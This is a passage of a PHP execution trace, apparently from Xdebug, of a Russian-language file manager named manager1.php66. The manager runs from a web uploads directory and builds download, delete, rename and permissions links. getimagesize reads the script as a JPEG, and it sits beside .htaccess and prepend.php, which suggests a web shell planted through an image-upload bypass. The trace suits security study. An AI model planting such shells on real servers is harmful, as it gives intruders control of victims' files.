2	100	0	0.007696	958768	fm_link	1		/var/www/html/uploads/manager1.php66	1483	4	'zip'	'/var/www/html/uploads/data'	'Сжать&nbsp;zip'	'Архивировать data'
3	101	0	0.007715	958824	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/data'
3	101	1	0.007730	958936
3	101	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	100	1	0.007747	958928
2	100	R			'&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
1		A						/var/www/html/uploads/manager1.php66	1483	$loadlink = '&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
2	102	0	0.007787	958824	fm_root	1		/var/www/html/uploads/manager1.php66	1484	1	'data'
2	102	1	0.007800	958824
2	102	R			FALSE
2	103	0	0.007814	958824	__	1		/var/www/html/uploads/manager1.php66	1484	1	'Compress'
2	103	1	0.007827	958824
2	103	R			'Сжать'
2	104	0	0.007841	958872	__	1		/var/www/html/uploads/manager1.php66	1484	1	'Archiving'
2	104	1	0.007854	958872
2	104	R			'Архивировать'
2	105	0	0.007869	958928	fm_link	1		/var/www/html/uploads/manager1.php66	1484	4	'gz'	'/var/www/html/uploads/data'	'Сжать&nbsp;.tar.gz'	'Архивировать data'
3	106	0	0.007887	958984	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/data'
3	106	1	0.007901	959096
3	106	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	105	1	0.007918	959088
2	105	R			'&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1484	$arlink = '&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1485	$style = 'row2'
2	107	0	0.007975	958984	fm_root	1		/var/www/html/uploads/manager1.php66	1486	1	'data'
2	107	1	0.007988	958984
2	107	R			FALSE
2	108	0	0.008001	958984	__	1		/var/www/html/uploads/manager1.php66	1486	1	'Are you sure you want to delete this directory (recursively)?'
2	108	1	0.008017	958984
2	108	R			'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php66	1486	$alert = 'onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'"'
2	109	0	0.008059	959240	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'data'
2	109	1	0.008072	959240
2	109	R			FALSE
2	110	0	0.008085	959240	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	110	1	0.008099	959240
2	110	R			'Удалить'
2	111	0	0.008114	959560	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	111	1	0.008127	959560
2	111	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = '<a href="#" title="Удалить data" onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'">Удалить</a>'
2	112	0	0.008164	959560	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'data'
2	112	1	0.008176	959560
2	112	R			FALSE
2	113	0	0.008190	959656	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	113	1	0.008203	959656
2	113	R			'Переименовать'
2	114	0	0.008218	959688	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	114	1	0.008231	959688
2	114	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = '<a href="?fm=true&rename=data&path=/var/www/html/uploads/" title="Переименовать data">Переименовать</a>'
2	115	0	0.008262	959816	__	1		/var/www/html/uploads/manager1.php66	1505	1	'Rights'
2	115	1	0.008276	959816
2	115	R			'Права'
2	116	0	0.008290	959832	fm_rights_string	1		/var/www/html/uploads/manager1.php66	1505	2	'/var/www/html/uploads/data'	???
3	117	0	0.008305	959832	fileperms	0		/var/www/html/uploads/manager1.php66	393	1	'/var/www/html/uploads/data'
3	117	1	0.008318	959872
3	117	R			16895
2		A						/var/www/html/uploads/manager1.php66	393	$perms = 16895
2		A						/var/www/html/uploads/manager1.php66	394	$info = ''
2		A						/var/www/html/uploads/manager1.php66	410	$info = 'd'
2		A						/var/www/html/uploads/manager1.php66	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php66	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php66	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	439	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	442	$info .= 'x'
2	116	1	0.008466	959872
2	116	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = '<a href="?fm=true&rights=data&path=/var/www/html/uploads/" title="Права data">drwxrwxrwx</a>'
2	118	0	0.008499	959848	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	118	1	0.008515	960176
2	118	R			'2023-02-13 00:50:39'
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/.htaccess'
2	119	0	0.008694	959848	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/.htaccess'
2	119	1	0.008713	961640
2	119	R			[0 => 2049, 1 => 524476, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524476, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
2	120	0	0.008780	959848	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/.htaccess'
2	120	1	0.008794	959888
2	120	R			FALSE
2	121	0	0.008809	959848	getimagesize	0		/var/www/html/uploads/manager1.php66	1489	1	'/var/www/html/uploads/.htaccess'
2	121	1	0.008850	959888
2	121	R			FALSE
2	122	0	0.008866	959944	__	1		/var/www/html/uploads/manager1.php66	1493	1	'Edit'
2	122	1	0.008880	959944
2	122	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php66	1493	$link = '<a href="?fm=true&edit=.htaccess&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> .htaccess</a>'
2	123	0	0.008914	959848	explode	0		/var/www/html/uploads/manager1.php66	1494	2	'.'	'.htaccess'
2	123	1	0.008928	960336
2	123	R			[0 => '', 1 => 'htaccess']
1		A						/var/www/html/uploads/manager1.php66	1494	$e_arr = [0 => '', 1 => 'htaccess']
2	124	0	0.008956	960288	end	0		/var/www/html/uploads/manager1.php66	1495	1	[0 => '', 1 => 'htaccess']
2	124	1	0.008971	960320
2	124	R			'htaccess'
1		A						/var/www/html/uploads/manager1.php66	1495	$ext = 'htaccess'
2	125	0	0.008996	960288	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	125	1	0.009009	960288
2	125	R			'Скачать'
2	126	0	0.009024	960288	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	126	1	0.009038	960288
2	126	R			'Скачать'
2	127	0	0.009052	960344	fm_link	1		/var/www/html/uploads/manager1.php66	1496	4	'download'	'/var/www/html/uploads/.htaccess'	'Скачать'	'Скачать .htaccess'
3	128	0	0.009070	960400	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/.htaccess'
3	128	1	0.009084	960512
3	128	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	127	1	0.009101	960504
2	127	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php66	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
2	129	0	0.009141	960288	fm_root	1		/var/www/html/uploads/manager1.php66	1499	1	'.htaccess'
2	129	1	0.009154	960288
2	129	R			FALSE
2	130	0	0.009167	960288	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Compress'
2	130	1	0.009180	960288
2	130	R			'Сжать'
2	131	0	0.009194	960336	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Archiving'
2	131	1	0.009208	960336
2	131	R			'Архивировать'
2	132	0	0.009222	960400	fm_link	1		/var/www/html/uploads/manager1.php66	1499	4	'gzfile'	'/var/www/html/uploads/.htaccess'	'Сжать&nbsp;.tar.gz'	'Архивировать .htaccess'
3	133	0	0.009240	960456	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/.htaccess'
3	133	1	0.009253	960568
3	133	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	132	1	0.009270	960592
2	132	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1500	$style = 'row1'
2	134	0	0.009322	960320	__	1		/var/www/html/uploads/manager1.php66	1501	1	'File selected'
2	134	1	0.009336	960320
2	134	R			'Выбран файл'
2	135	0	0.009351	960416	__	1		/var/www/html/uploads/manager1.php66	1501	1	'Are you sure you want to delete this file?'
2	135	1	0.009366	960416
2	135	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php66	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'"'
2	136	0	0.009411	960320	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'.htaccess'
2	136	1	0.009424	960320
2	136	R			FALSE
2	137	0	0.009437	960320	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	137	1	0.009450	960320
2	137	R			'Удалить'
2	138	0	0.009465	960640	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	138	1	0.009478	960640
2	138	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = '<a href="#" title="Удалить .htaccess" onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'">Удалить</a>'
2	139	0	0.009516	960320	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'.htaccess'
2	139	1	0.009577	960320
2	139	R			FALSE
2	140	0	0.009592	960416	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	140	1	0.009605	960416
2	140	R			'Переименовать'
2	141	0	0.009620	960480	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	141	1	0.009633	960480
2	141	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = '<a href="?fm=true&rename=.htaccess&path=/var/www/html/uploads/" title="Переименовать .htaccess">Переименовать</a>'
2	142	0	0.009665	960448	__	1		/var/www/html/uploads/manager1.php66	1505	1	'Rights'
2	142	1	0.009678	960448
2	142	R			'Права'
2	143	0	0.009692	960480	fm_rights_string	1		/var/www/html/uploads/manager1.php66	1505	2	'/var/www/html/uploads/.htaccess'	???
3	144	0	0.009706	960480	fileperms	0		/var/www/html/uploads/manager1.php66	393	1	'/var/www/html/uploads/.htaccess'
3	144	1	0.009719	960520
3	144	R			33188
2		A						/var/www/html/uploads/manager1.php66	393	$perms = 33188
2		A						/var/www/html/uploads/manager1.php66	394	$info = ''
2		A						/var/www/html/uploads/manager1.php66	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php66	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	442	$info .= '-'
2	143	1	0.009855	960520
2	143	R			'-rw-r--r--'
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = '<a href="?fm=true&rights=.htaccess&path=/var/www/html/uploads/" title="Права .htaccess">-rw-r--r--</a>'
2	145	0	0.009887	960384	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	145	1	0.009904	960712
2	145	R			'2023-02-13 00:50:39'
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/manager1.php66'
2	146	0	0.009931	960392	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/manager1.php66'
2	146	1	0.009949	962192
2	146	R			[0 => 2049, 1 => 524479, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524479, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 176]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524479, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524479, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 176]
2	147	0	0.010012	960400	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/manager1.php66'
2	147	1	0.010026	960440
2	147	R			FALSE
2	148	0	0.010039	960400	getimagesize	0		/var/www/html/uploads/manager1.php66	1489	1	'/var/www/html/uploads/manager1.php66'
2	148	1	0.010068	961008
2	148	R			[0 => 80, 1 => 80, 2 => 2, 3 => 'width="80" height="80"', 'bits' => 8, 'channels' => 3, 'mime' => 'image/jpeg']
2	149	0	0.010092	960400	fm_img_link	1		/var/www/html/uploads/manager1.php66	1491	1	'/var/www/html/uploads/manager1.php66'
3	150	0	0.010106	960400	basename	0		/var/www/html/uploads/manager1.php66	693	1	'/var/www/html/uploads/manager1.php66'
3	150	1	0.010125	960472
3	150	R			'manager1.php66'
3	151	0	0.010141	960448	base64_encode	0		/var/www/html/uploads/manager1.php66	693	1	'/var/www/html/uploads/manager1.php66'
3	151	1	0.010154	960560
3	151	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
2	149	1	0.010171	960496
2	149	R			'./manager1.php66?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
2	152	0	0.010190	960720	fm_img_link	1		/var/www/html/uploads/manager1.php66	1492	1	'/var/www/html/uploads/manager1.php66'
3	153	0	0.010203	960720	basename	0		/var/www/html/uploads/manager1.php66	693	1	'/var/www/html/uploads/manager1.php66'
3	153	1	0.010217	960792
3	153	R			'manager1.php66'
3	154	0	0.010231	960768	base64_encode	0		/var/www/html/uploads/manager1.php66	693	1	'/var/www/html/uploads/manager1.php66'
3	154	1	0.010244	960880
3	154	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
2	152	1	0.010260	960816
2	152	R			'./manager1.php66?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
1		A						/var/www/html/uploads/manager1.php66	1493	$link = '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'./manager1.php66?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="./manager1.php66?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> manager1.php66</a>'
2	155	0	0.010302	960656	explode	0		/var/www/html/uploads/manager1.php66	1494	2	'.'	'manager1.php66'
2	155	1	0.010316	961176
2	155	R			[0 => 'manager1', 1 => 'php66']
1		A						/var/www/html/uploads/manager1.php66	1494	$e_arr = [0 => 'manager1', 1 => 'php66']
2	156	0	0.010345	960728	end	0		/var/www/html/uploads/manager1.php66	1495	1	[0 => 'manager1', 1 => 'php66']
2	156	1	0.010359	960760
2	156	R			'php66'
1		A						/var/www/html/uploads/manager1.php66	1495	$ext = 'php66'
2	157	0	0.010383	960688	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	157	1	0.010396	960688
2	157	R			'Скачать'
2	158	0	0.010411	960688	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	158	1	0.010424	960688
2	158	R			'Скачать'
2	159	0	0.010438	960744	fm_link	1		/var/www/html/uploads/manager1.php66	1496	4	'download'	'/var/www/html/uploads/manager1.php66'	'Скачать'	'Скачать manager1.php66'
3	160	0	0.010455	960800	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/manager1.php66'
3	160	1	0.010468	960912
3	160	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
2	159	1	0.010485	960936
2	159	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2" title="Скачать manager1.php66">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php66	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2" title="Скачать manager1.php66">Скачать</a>'
2	161	0	0.010525	960720	fm_root	1		/var/www/html/uploads/manager1.php66	1499	1	'manager1.php66'
2	161	1	0.010538	960720
2	161	R			FALSE
2	162	0	0.010552	960720	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Compress'
2	162	1	0.010565	960720
2	162	R			'Сжать'
2	163	0	0.010579	960768	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Archiving'
2	163	1	0.010592	960768
2	163	R			'Архивировать'
2	164	0	0.010607	960832	fm_link	1		/var/www/html/uploads/manager1.php66	1499	4	'gzfile'	'/var/www/html/uploads/manager1.php66'	'Сжать&nbsp;.tar.gz'	'Архивировать manager1.php66'
3	165	0	0.010625	960888	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/manager1.php66'
3	165	1	0.010638	961000
3	165	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2'
2	164	1	0.010655	961024
2	164	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2" title="Архивировать manager1.php66">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDY2" title="Архивировать manager1.php66">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1500	$style = 'row1'
2	166	0	0.010708	960720	__	1		/var/www/html/uploads/manager1.php66	1501	1	'File selected'
2	166	1	0.010721	960720
2	166	R			'Выбран файл'
2	167	0	0.010737	960816	__	1		/var/www/html/uploads/manager1.php66	1501	1	'Are you sure you want to delete this file?'
2	167	1	0.010756	960816
2	167	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php66	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nmanager1.php66. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php66&path=/var/www/html/uploads/\'"'
2	168	0	0.010796	960720	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'manager1.php66'
2	168	1	0.010810	960720
2	168	R			FALSE
2	169	0	0.010823	960720	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	169	1	0.010836	960720
2	169	R			'Удалить'
2	170	0	0.010851	961040	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	170	1	0.010864	961040
2	170	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = '<a href="#" title="Удалить manager1.php66" onClick="if(confirm(\'Выбран файл: \\nmanager1.php66. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php66&path=/var/www/html/uploads/\'">Удалить</a>'
2	171	0	0.010902	960784	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'manager1.php66'
2	171	1	0.010915	960784
2	171	R			FALSE
2	172	0	0.010928	960896	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	172	1	0.010942	960896
2	172	R			'Переименовать'
2	173	0	0.010957	960944	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	173	1	0.010969	960944
2	173	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = '<a href="?fm=true&rename=manager1.php66&path=/var/www/html/uploads/" title="Переименовать manager1.php66">Переименовать</a>'
2	174	0	0.011002	960896	__	1		/var/www/html/uploads/manager1.php66	1505	1	'Rights'
2	174	1	0.011015	960896
2	174	R			'Права'
2	175	0	0.011029	960912	fm_rights_string	1		/var/www/html/uploads/manager1.php66	1505	2	'/var/www/html/uploads/manager1.php66'	???
3	176	0	0.011042	960912	fileperms	0		/var/www/html/uploads/manager1.php66	393	1	'/var/www/html/uploads/manager1.php66'
3	176	1	0.011055	960952
3	176	R			33204
2		A						/var/www/html/uploads/manager1.php66	393	$perms = 33204
2		A						/var/www/html/uploads/manager1.php66	394	$info = ''
2		A						/var/www/html/uploads/manager1.php66	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php66	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	442	$info .= '-'
2	175	1	0.011191	960952
2	175	R			'-rw-rw-r--'
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = '<a href="?fm=true&rights=manager1.php66&path=/var/www/html/uploads/" title="Права manager1.php66">-rw-rw-r--</a>'
2	177	0	0.011222	960784	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	177	1	0.011238	961112
2	177	R			'2023-02-13 00:50:39'
1		A						/var/www/html/uploads/manager1.php66	1477	$filename = '/var/www/html/uploads/prepend.php'
2	178	0	0.011266	960784	stat	0		/var/www/html/uploads/manager1.php66	1478	1	'/var/www/html/uploads/prepend.php'
2	178	1	0.011283	962576
2	178	R			[0 => 2049, 1 => 524478, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php66	1478	$filedata = [0 => 2049, 1 => 524478, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676249439, 9 => 1676249439, 10 => 1676249439, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676249439, 'mtime' => 1676249439, 'ctime' => 1676249439, 'blksize' => 4096, 'blocks' => 8]
2	179	0	0.011346	960784	is_dir	0		/var/www/html/uploads/manager1.php66	1479	1	'/var/www/html/uploads/prepend.php'
2	179	1	0.011360	960824
2	179	R			FALSE
2	180	0	0.011373	960784	getimagesize	0		/var/www/html/uploads/manager1.php66	1489	1	'/var/www/html/uploads/prepend.php'
2	180	1	0.011404	960824
2	180	R			FALSE
2	181	0	0.011419	960880	__	1		/var/www/html/uploads/manager1.php66	1493	1	'Edit'
2	181	1	0.011433	960880
2	181	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php66	1493	$link = '<a href="?fm=true&edit=prepend.php&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> prepend.php</a>'
2	182	0	0.011467	960528	explode	0		/var/www/html/uploads/manager1.php66	1494	2	'.'	'prepend.php'
2	182	1	0.011480	961040
2	182	R			[0 => 'prepend', 1 => 'php']
1		A						/var/www/html/uploads/manager1.php66	1494	$e_arr = [0 => 'prepend', 1 => 'php']
2	183	0	0.011508	960552	end	0		/var/www/html/uploads/manager1.php66	1495	1	[0 => 'prepend', 1 => 'php']
2	183	1	0.011522	960584
2	183	R			'php'
1		A						/var/www/html/uploads/manager1.php66	1495	$ext = 'php'
2	184	0	0.011546	960520	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	184	1	0.011559	960520
2	184	R			'Скачать'
2	185	0	0.011573	960520	__	1		/var/www/html/uploads/manager1.php66	1496	1	'Download'
2	185	1	0.011587	960520
2	185	R			'Скачать'
2	186	0	0.011601	960576	fm_link	1		/var/www/html/uploads/manager1.php66	1496	4	'download'	'/var/www/html/uploads/prepend.php'	'Скачать'	'Скачать prepend.php'
3	187	0	0.011617	960632	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/prepend.php'
3	187	1	0.011631	960744
3	187	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	186	1	0.011648	960736
2	186	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php66	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
2	188	0	0.011688	960488	fm_root	1		/var/www/html/uploads/manager1.php66	1499	1	'prepend.php'
2	188	1	0.011701	960488
2	188	R			FALSE
2	189	0	0.011714	960488	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Compress'
2	189	1	0.011727	960488
2	189	R			'Сжать'
2	190	0	0.011741	960536	__	1		/var/www/html/uploads/manager1.php66	1499	1	'Archiving'
2	190	1	0.011754	960536
2	190	R			'Архивировать'
2	191	0	0.011769	960600	fm_link	1		/var/www/html/uploads/manager1.php66	1499	4	'gzfile'	'/var/www/html/uploads/prepend.php'	'Сжать&nbsp;.tar.gz'	'Архивировать prepend.php'
3	192	0	0.011787	960656	base64_encode	0		/var/www/html/uploads/manager1.php66	546	1	'/var/www/html/uploads/prepend.php'
3	192	1	0.011800	960768
3	192	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	191	1	0.011817	960792
